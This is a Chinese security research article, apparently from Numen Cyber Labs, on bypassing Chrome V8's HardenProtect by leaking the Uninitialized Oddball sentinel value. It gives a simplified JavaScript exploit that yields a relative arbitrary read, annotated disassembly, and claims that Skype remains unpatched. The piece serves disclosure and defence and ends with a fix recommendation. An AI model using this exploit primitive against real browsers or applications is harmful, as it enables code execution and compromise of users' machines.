揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

Numen Cyber Labs热度: 8222

Chrome源码中有很多Sentinel value。

原文作者:Numen Cyber Labs

原文来源:Numen Cyber Labs

前言

Sentinel value(又名flag value/trip value/rogue value/signal value/dummy data)是算法中的一个特殊值,通常在循环或递归算法中作为终止条件的特殊值存在。Chrome源码中有很多Sentinel value。from-leaking-thehole-to-chrome-renderer-rce和TheHole New World - how a small leak will sink a great browser (CVE-2021-38003)中,都介绍了如何通过泄露TheHole对象实现CVE-2021-38003和CVE-2022–1364的沙箱内任意代码执行。在我们发文阐述该缓解绕过大概一周后,谷歌团队也迅速把这两个在野CVE同步更新到了github上。时间节点如下:

Chrome

Chrome

我们从Chrome源码中可以看到对TheHole对象导致任意代码执行的缓解修复。但实际上,除了TheHole对象外,v8中还有很多其他的原生对象,不应该泄漏到JS中。本文要讨论的对象是:Uninitialized Oddball,该绕过方法的完整代码最先出现在Issue1352549中,由Project0成员tiszka在exp中完整给出,值得一提的是,目前该方法目前仍可用于最新版V8,谷歌尚未针对该缓解绕过进行修复。

为引起厂商注意,这里我们不得不提一下该方法的通用性:

01-glazunov在提交Issue1216437(CVE-2021-30551)中首先给出的poc便是泄露internal uninitialized oddball,虽然第二个poc给出是类型混淆,但是结合本文方法仅有第一个poc即可轻松完成RCE;

02-Issue1314616(CVE-2022-1486)中,p0成员btiszka在给出的poc中也是直接泄露UninitializedOddball,虽然当时从泄漏UninitializedOddball到RCE的利用尚未完全清晰,但也足以说明安全问题,作者在Issue中如下陈述:

"Exploitability Notes: Currently, I'm not sure if this primitive can lead to more than an infoleak. Exploitation is not as straightforward as ..."

03-Issue1352549(NoCVE) 请注意该PatchGap的影响!

我相信这三点就足以给我们充分的理由去复核下可能受PatchGap影响的软件。截至目前,Skype尚未修复该漏洞。

Sentinel value in V8

我们可以在文件v8/src/roots/roots.h中看到v8的大部分原生对象。这些对象在内存中依次相邻排布。

/* Oddballs */ Offset \V(Oddball, uninitialized_value, UninitializedValue) 0138 \V(Oddball, the_hole_value, TheHoleValue) 0148 \V(Oddball, arguments_marker, ArgumentsMarker) 0218 \V(Oddball, exception, Exception) %DebugPrint() crash 0220 \V(Oddball, termination_exception, TerminationException) 0228 \V(Oddball, optimized_out, OptimizedOut) 0230 \V(Oddball, stale_register, StaleRegister) 0238 \

漏洞触发后,一旦将不应该泄露到Javascript中的原生对象泄露了出去,即可实现沙箱内任意代码执行。上一篇文章中TheHole对象的泄露也恰好说明了该问题。这里我们也再次重申,该方法在最新版V8中尚未修复。

为了在最新版V8中验证该方法,我们可以通过修改v8的native函数,将Uninitialized Oddball泄漏到JavaScript中,这里我们直接对%TheHole()函数中相对isolate偏移(索引)进行修改即可实现返回值为Uninitialized Oddball。ida对Runtime_TheHole函数反编译后代码如下所示:

v8::internal::Address v8::internal::Runtime_TheHole(int args_length, v8::internal::Address *args_object, v8::internal::Isolate *isolate) push rbp mov rbp, rsp lea rax, v8::internal::V8HeapCompressionScheme::base_ mov eax, [rax] test eax, eax jnz short loc_9B2ABA mov rax, [isolate+148h] ;;修改148h为138h pop rbp retn

调用%DebugPrint(%TheHole())如下输出所示:

$ ./d8 --expose-gc --allow-natives-syntax /home/avboy/Desktop/poc.js0x210400002371 <Odd Oddball: uninitialized>

Bypass HardenType

该方法在Issue1352549中直接给出了所有源码,我们直接对其进行提取和简化即可,如下代码所示:

class Helpers { constructor() { this.buf = new ArrayBuffer(8); this.u64 = new BigUint64Array(this.buf); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); gc(); } f2big(f) { this.f64[0] = f; return this.u64[0]; } fhi(f) { this.f64[0] = f; return this.u32[1]; } flow(f) { this.f64[0] = f; return this.u32[0]; }}function UninitializedOddballExploiter(uninitialized_oddball) { var h = new Helpers(); let arr = new Array(0x1000000); arr[0] = 1.1; arr.a = 1.1; let exp1 = { prop: uninitialized_oddball }; let exp2 = { prop: { read_arr: arr } }; let read = (object, index) => { return object.prop.read_arr[index]; }; % PrepareFunctionForOptimization(read); read(exp2, 0); % OptimizeFunctionOnNextCall(read); const old_space = 0x200000;//0x200000 let start_offset = Math.floor(old_space / 8) + 3; for (var i = start_offset; i < start_offset + 0x6b000; i++) { let real_offset = i - 2; let hi = read(exp1, real_offset); let lo = read(exp1, real_offset - 1); let result = (BigInt(h.flow(hi)) << 32n) + (BigInt(h.fhi(lo))); console.log("result:" + result.toString(16)); readline(); }}UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch

我们对上述代码在v8-11.0.0中测试,当%TheHole()返回UninitializedOddball时,仍旧可以实现相对任意读。

./d8 --expose-gc --allow-natives-syntax --print-opt-code --print-opt-code-filter=read --trace-turbo /home/avboy/Desktop/poc2.js

对优化后的JavaScript的read函数去掉Prologue,留下关键反汇编如下所示:

0x558b20004069 29 488b4d18 REX.W movq rcx,[rbp+0x18] 0x558b2000406d 2d f6c101 testb rcx,0x1 ;; check if rcx(ie. obj, the 1st arg of function) is 'Smi'0x558b20004070 30 0f842e020000 jz 0x558b200042a4 <+0x264> ;; deopt reason 'Smi'0x558b20004076 36 41b831cd1900 movl r8,0x19cd31 ;; (compressed) object: 0x17140019cd31 <Map[16](HOLEY_ELEMENTS)>0x558b2000407c 3c 443941ff cmpl [rcx-0x1],r8 ;; check the map(r8=0x19cd31 is the map of obj);; here we check the map of obj, but we did not check the value of key(ie. obj.prop);; and if we make the value of key to be uninitialized_oddball, there is the bypass0x558b20004080 40 0f8522020000 jnz 0x558b200042a8 <+0x268> ;; deopt reason 'wrong map'0x558b20004086 46 448b410b movl r8,[rcx+0xb] ;; *(addr(obj)+0xb) -> r80x558b2000408a 4a 478b44060b movl r8,[r14+r8*1+0xb] ;; r14 is high addr0x558b2000408f 4f 4d03c6 REX.W addq r8,r14 ;; r8 -> [String] in ReadOnlySpace: #uninitialized0x558b20004092 52 458b4807 movl r9,[r8+0x7] ;;0x558b20004096 56 4d03ce REX.W addq r9,r14 ;; r9 -> 0x2eb90000000d0x558b20004099 59 458b400b movl r8,[r8+0xb] ;; 0x558b2000409d 5d 488b7d20 REX.W movq rdi,[rbp+0x20] ;; rdi is index of arr, the 2nd arg of function0x558b200040a1 61 40f6c701 testb rdi,0x1 ;; check if rdi is 'Smi'0x558b200040a5 65 0f85da000000 jnz 0x558b20004185 B5 <+0x145> ;; if rdi is not 'Smi', JMP0x558b200040ab 6b 4c63df REX.W movsxlq r11,rdi ;; 0x558b200040ae 6e 49d1fb REX.W sarq r11, 1 ;; r11/2, because 'Smi' stored as 'Smi'*2 in Memory0x558b200040b1 71 4d63c0 REX.W movsxlq r8,r80x558b200040b4 74 49d1f8 REX.W sarq r8, 10x558b200040b7 77 4d3bd8 REX.W cmpq r11,r8 ;; r11 = 0x40002,real_offset as the index of arr0x558b200040ba 7a 0f83ec010000 jnc 0x558b200042ac <+0x26c> ;; deopt reason 'out of bounds'0x558b200040c0 80 c4817b1044d907 vmovsd xmm0,[r9+r11*8+0x7] ;; move double float value to xmm00x558b200040c7 87 c5f92ec0 vucomisd xmm0,xmm0 ;; Compare float value and Set EFLAGS0x558b200040cb 8b 0f8a88010000 jpe 0x558b20004259 B9 <+0x219> ;; jpe(Jump if parity even)0x558b200040d1    91  0f8582010000         jnz 0x558b20004259  B9 <+0x219>  ;; jnz(Jump if not zero)

在0x558b2000407c处,检查了read函数的obj,确定其prop属性正确,但没有检查以obj.prop为key的Value,而是直接按照JavaScript语义计算偏移,求取数组的数值。如此导致我们在计算的时造成类型混淆,实现任意读。

如上汇编所示,当我们传入uninitialized_oddball时,从0x558b20004086开始以obj为起点计算,最终在vmovsd xmm0,[r9+r11*8+0x7]指令中完成任意读,数据保存在xmm0寄存器中。类似TheHole对象,由于uninitialized_oddball在v8内存中排序靠前,且对象内容更加原始,伪造更加容易,在TheHole缓解绕过修复后,该方法不失为绕过首选。同理,任意写我们可以参考Issue1352549进行构造分析。由于原理雷同,这里不再赘述。

这里修复建议是,对优化后的函数返回数组元素时,添加对数组map的检查,避免直接计算偏移返回数组数值。

PatchGap Alert

在我们谈论PatchGap时,实际上我们不仅仅需要关注曾经出现的历史漏洞,我们还要关注厂商在基础组件中悄悄修复的漏洞。对Issue1352549分析后,我们迅速排查了可能存在PatchGap的软件,这里不得不指出,截至目前Skype仍旧没有对该漏洞进行修复。在x86下任意读写会稍有不同。x64下由于存在地址压缩,在tuborgfun优化javascript生成的代码中,v8会默认将基址加上。x86由于没有基址,因此任意读写是直接相对于整个进程的。如下汇编所示:


0x3979b8ff 3f 8b790b mov edi,[ecx+0xb]0x3979b902 42 8b7f0b mov edi,[edi+0xb]0x3979b905 45 8b4707 mov eax,[edi+0x7] ;; eax will be a fixed number0x3979b908 48 8b7f0b mov edi,[edi+0xb]0x3979b90b 4b 8b5510 mov edx,[ebp+0x10]0x3979b90e 4e f6c201 test_b dl,0x10x3979b911 51 0f85b6000000 jnz 0x3979b9cd <+0x10d>0x3979b917 57 89d6 mov esi,edx0x3979b919 59 d1fe sar esi,1 ;; esi is index0x3979b91b 5b d1ff sar edi,1 ;; 0x3734b73a0x3979b91d 5d 3bf7 cmp esi,edi0x3979b91f 5f 0f838e010000 jnc 0x3979bab3 <+0x1f3> ;; deopt reason 'out of bounds'0x3979b925 65 c5fb104cf007 vmovsd xmm1,xmm0,[eax+esi*8+0x7] ;;

如上所示,esi为任意读数组的索引,eax为固定值,edi为"out of bounds"检测的数值,实际上调试时我们可以看到,edi为一个很大的数值,远超过声明时数组的最大范围。

因此,在edi范围内,可以任意读写。在具体做skype的exp时,虽然此时我们没有地址压缩带来内存读写的便利,且skype开启了aslr。但由于该文件太大,直接放在4GB内存中,黑客只需要对某个固定地址进行读写,便可以一个极大的概率读写skype文件中的内容。结合PE解析等传统思路,不难完成整个漏洞利用链。基于此,我们无法保证黑客不能在短时间内完成整个利用链的适配。

这次PatchGap实际上不止需要排查Issue1352549,由于一个新的绕过方法的公开,直接导致了类似Issue1314616和Issue1216437的利用难度大幅度降低,黑客几乎不需要花费任何研究成本,即可实现以往任何泄露uninitialized_oddball漏洞的完整利用,包括谷歌cluster fuzz提交的所有Issue中类似的漏洞。

总结

本文仅抛砖引玉,粗略来谈通过泄露Sentinel value中的uninitialized_Oddball来实现任意读原语。如第二部分所示,v8中的Sentinel value还有很多,实际上我们在测试Sentinel value的时候,也会经常容易遇到崩溃,不乏有非int3的崩溃出现。由于Uninitialized_Oddball和TheHole均已被证明可以在v8中实现环节绕过,我们有充分的理由怀疑其他Sentinel value也可能导致类似问题。

这也给我们一点提示:

01-其他uninitialized_Oddball泄露是否会轻松实现v8的RCE;

02-我们已经看到,谷歌会迅速将TheHole绕过进行修复,我们也看到利用垃圾回收实现ASLR绕过被长期搁置。这说明类似issue仍处在一个模糊边界,即是否被正式当作安全问题对待。

03-如果02中的问题被当作正式安全问题对待,那么在fuzzer中是否有必要考虑将%TheHole/uninitialized_Oddball等Sentinel value作为变量加入,来挖掘其他利用原语;

这里不得不强调的是,无论该类问题是否被正式当作安全问题对待,它都会大大缩减黑客实现完整利用周期。

参考资料

https://bugs.chromium.org/p/chromium/issues/detail?id=1314616

https://bugs.chromium.org/p/chromium/issues/detail?id=1352549

https://bugs.chromium.org/p/chromium/issues/detail?id=1216437

https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/

声明:本文为入驻“MarsBit 专栏”作者作品,不代表MarsBit官方立场。
转载请联系网页底部:内容合作栏目,邮件进行授权。授权后转载时请注明出处、作者和本文链接。未经许可擅自转载本站文章,将追究相关法律责任,侵权必究。
提示:投资有风险,入市须谨慎,本资讯不作为投资理财建议。
免责声明:本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况,及遵守所在国家和地区的相关法律法规。
关键字:Chrome